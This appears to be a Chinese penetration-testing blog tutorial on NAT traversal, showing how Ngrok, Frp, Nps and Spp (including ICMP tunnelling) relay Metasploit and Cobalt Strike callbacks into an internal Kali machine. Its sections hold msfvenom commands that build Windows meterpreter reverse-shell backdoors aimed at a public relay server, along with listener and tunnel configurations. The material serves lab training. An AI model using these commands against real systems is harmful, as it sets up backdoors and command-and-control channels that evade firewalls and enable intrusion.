内网安全:内网穿透详解
目录
内网穿透技术
内网穿透原理
实验环境
内网穿透项目
内网穿透:Ngrok
配置服务端
客户端配置
客户端生成后门,等待目标上线
内网穿透:Frp
客户端服务端建立连接
MSF生成后门,等待上线
内网穿透:Nps
服务端搭建配置
客户端配置
MSF生成后门上线
内网穿透:Spp
服务端
客户端
CS配置
总结:内网穿透技术解决了和内网主机连接的问题
内网穿透技术
这个技术可以解决的问题:
- 穿透:实现“内网”控制“内网”,内网主机上线。
- 隧道:解决内网主机协议的限制,实现通讯,之后上线。
内网穿透原理
内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。
内网穿透的原理可以简单描述如下:
NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址。这样,内网设备可以通过NAT设备与公网通信,但公网无法直接访问内网设备。
穿透技术:为了实现内网穿透,需要借助一些特定的技术手段,使公网上的设备能够访问到内网中的设备。常见的穿透技术包括:
端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。
反向代理(Reverse Proxy):在公网上搭建一个反向代理服务器,将公网请求转发到内网中的设备上。公网设备与反向代理服务器建立连接后,由反向代理服务器将请求转发到内网设备,实现公网访问内网的功能。
VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个虚拟的私有网络,将公网设备加入到该网络中,使其能够直接访问内网中的设备。
云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。
实验环境
目标:xiaodi8.com上线Kali的CS
- 公网主机:xiaodi8.com
- 内网Kali:192.168.1.166
正向连接:Kali主动连接xiaodi8.com,可行
反向连接:xiaodi8.com连接Kali,不可行
为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。
内网穿透项目
一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)
https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm
优点:穿透加密数据,中间平台,防追踪,解决网络问题
内网穿透:Ngrok
项目地址:内网转发
免费版:仅支持三种协议,http,https,tcp
配置服务端
开通隧道,设置Kali内网IP,Port,以及服务器开放的端口
客户端配置
Kali执行客户端,这个过程相当于Kali主动连接域名
./sunny clientid 203828291918
客户端生成后门,等待目标上线
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2233
run
目标上线
内网穿透:Frp
项目地址:https://github.com/fatedier/frp
需要一台服务器
frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
客户端服务端建立连接
服务端
服务器修改配置文件frps.ini 隧道建立绑定在7000端口
[common] bind_port = 7000
启动服务端
./frps -c ./frps.ini
客户端
修改配置文件frpc.ini
隧道建立绑定在7000端口
服务端的6000端口受到数据会自动转发到本地的5555端口
[common]
server_addr = 47.94.236.117
server_port = 7000[msf]
type=tcp
local_ip=127.0.0.1
local_port=5555
remote_port=6000
启动客户端
./frpc -c ./frpc.ini
客户端与服务端建立连接
MSF生成后门,等待上线
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe
开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
上线
内网穿透:Nps
相当于服务端搭建一个ngrok
项目地址:https://github.com/ehang-io/nps
下载项目到服务器,它有一个客户端,一个服务端
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
服务端搭建配置
安装nps
./nps install
运行nps
./nps
默认运行地址
http://IP:8080/
默认登录账号密码
admin/123
创建客户端,生成密匙
添加协议隧道,绑定指向
将访问服务器5566端口的流量发送至客户端的6666端口
客户端配置
连接服务端
./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v #创建客户端后自动生成密钥
MSF生成后门上线
生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe
监听本地6666
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
上线
内网穿透:Spp
项目地址:GitHub - esrrhs/spp: A simple and powerful proxy
支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
服务端
服务端运行,监听本地的ICMP流量
./spp -type server -proto ricmp -listen 0.0.0.0
客户端
受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)
spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp
服务端收到数据
CS配置
这个CS是运行在服务端的
创建两个监听器:
监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行
上线,生成监听器2的木马,上线监听器1
总结:内网穿透技术解决了和内网主机连接的问题
区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样
代理技术可以把外网攻击机带进内网进行渗透
隧道技术解决了因为防火墙限制流量不出网的问题
内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器
要根据不同使用场景来选择使用。
内网安全:内网穿透详解相关推荐
- 内网安全:隧道技术详解
目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后 ...
- python中的json函数_python中装饰器、内置函数、json的详解
装饰器 装饰器本质上是一个Python函数,它可以让其他函数在不需要做任何代码变动的前提下增加额外功能,装饰器的返回值也是一个函数对象. 先看简单例子: def run(): time.sleep(1 ...
- Win7下的内置FTP组件的设置详解
Win7下的内置FTP组件的设置详解 在局域网中共享文件,FTP是比较方便的方案之一.Win7内部集成了FTP,只是设置起来颇费一番功夫.着文以记之. 一.安装FTP组件 由于Win7默认没有安装FT ...
- iOS 内购(In-App Purchase)详解
iOS 内购(In-App Purchase)详解 概述 IAP 全称:In-App Purchase,是指苹果 App Store 的应用内购买,是苹果为 App 内购买虚拟商品或服务提供的一套交易 ...
- 局域网中文件或打印机共享服务器,局域网内文件、打印机共享设置详解.doc
文档介绍: 局域网内文件.打印机共享设置详解第一:小型企业中,一般没有另外装置如WINDOWS2003服务器操作系统电脑来作为打印服务器而采用是装有WINDOWSxp电脑之间的双机打印共享,这是对等网 ...
- 匿名函数python_基于python内置函数与匿名函数详解
内置函数 Built-in Functions abs() dict() help() min() setattr() all() dir() hex() next() slice() any() d ...
- python爬取网易云歌单_详解python selenium 爬取网易云音乐歌单名
目标网站: 首先获取第一页的数据,这里关键要切换到iframe里 打印一下 获取剩下的页数,这里在点击下一页之前需要设置一个延迟,不然会报错. 结果: 一共37页,爬取完毕后关闭浏览器 完整代码: u ...
- 网摘精灵教程:网摘精灵延时功能详解
网摘精灵教程:网摘精灵延时功能详解 网摘精灵软件里面有个功能设置项是"延时",这个延时如何设置呢? 简单地说,就是发送数据一次,最多花费多久时间.这个是以秒为单位的,设置值应该是数 ...
- NAT网络与内网穿透详解
文章目录 一.概述 1.简介 2.NAT基本介绍 二.NAT的工作原理 三.NAPT的原理 1.概述 2.NAPT原理详解 3.发送与接收过程 4.ping命令 四.内网穿透 1.概述 2.两个内网的 ...
最新文章
- 一篇文章学懂Shell脚本
- python 习题集锦
- 主动,是因为在乎,不再联系,是因为感到自己多余
- ajax原理 博客,AJAX工作基本原理
- Android_Fragment_Fragment详解
- Django Step by Step中文版,推荐一下
- activiti 设置可选处理人_新品速递|高端系列!慧明DF系列线性相位处理专业音箱处理器...
- Linux 16.04 右上角输入法丢失的问题
- c# 在mongo中查询经纬度范围
- c++求数组中出现频率最高的数
- linux 查询命令 批量替换多个文件
- mysql8忘记密码后重置密码
- 有管网气体消防系统小知识来啦
- 关于电瓶车管理的思考
- 云上城之个服务器维护时间,云上城之歌开服时间表 官方最新开服情况
- So easy ! 两句口号轻松搞懂Docker
- 什么是https证书,有什么优势?
- win10关闭未格式化U盘插入提示格式化弹窗
- 域名解析协议-DNS
- 利用python自动完成网页计算TEC等参数
热门文章
- maven 依赖公司另一项目中的对象,对象里的部分属性set值报错not found
- php获取python运行结果_“如何实现在PHP中调用Python并获取运行结果“
- 发光二极管pcb封装图画法_LM2596电源模块原理图及PCB分享
- 基于圆展开自适应三边测量算法的室内定位
- 3.15打假日:没有“集成”的永中就是假永中
- PLSQL的存储过程和函数
- CurvySplines01(一条路径使用两个材质球)
- Java 定时任务详解
- 网络虚拟化——vhost-user
- u盘不能拷贝超过4g的大文件吗?